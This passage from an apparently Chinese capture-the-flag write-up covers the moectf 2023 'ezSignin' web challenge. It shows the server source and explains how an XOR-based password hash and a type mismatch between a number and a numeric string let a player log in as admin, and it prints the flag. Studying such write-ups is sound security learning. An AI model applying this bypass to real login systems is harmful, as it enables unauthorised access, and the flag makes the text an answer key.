0pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")

class MyHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
try:
if self.path == "/":
self.send_response(200)
self.end_headers()
self.wfile.write(__page__)
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")

def do_POST(self):
try:
if self.path == "/login":
body = self.rfile.read(int(self.headers.get("Content-Length")))
payload = json.loads(body)
params = json.loads(decrypt(payload["params"]))
print(params)
if params.get("username") == "admin":
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
print("admin")
return
if params.get("username") == params.get("password"):
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
print("same")
return
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return
self.send_response(403)
self.end_headers()
self.wfile.write(b"Invalid username or password")
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")

if __name__ == "__main__":
server = http.server.HTTPServer(("", 9999), MyHandler)
server.serve_forever()
1
2
3
4
5
6
7
def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]
  • ^:按位异或运算符:当两对应的二进位相异时,结果为1
  • int.from_bytes(): res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。
  • hashlib.md5():哈希MD5加密
  • hex(c)[2:]:转换为16进制[2:]从第二位数开始读起
1
2
3
4
def decrypt(data:str):
for x in range(5):
data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
return data

这里data base64加密了5次,所以抓包到的params要进行5次base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return
1
2
3
4
5
6
for k,v in hashed_users.items()

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

assert "admin" in users
assert users["admin"] == "admin"

hashed_users={‘admin’,0},k为admin,v为0
if hashed == v: hashed对我们传入的username和password进行异或(^),两者相同为0
所以我们的username和password要相等,但代码有说明username!=password,好在是弱比较,我们可以数字和数字字符比较

flag

1
moectf{C0nGUrAti0ns!_y0U_hAve_sUCCessFUlly_siGnin!_iYlJf!M3rux9G9Vf!Jox}

moectf
http://example.com/2023/10/11/moectf/
作者
奇怪的奇怪
发布于
2023年10月11日
许可协议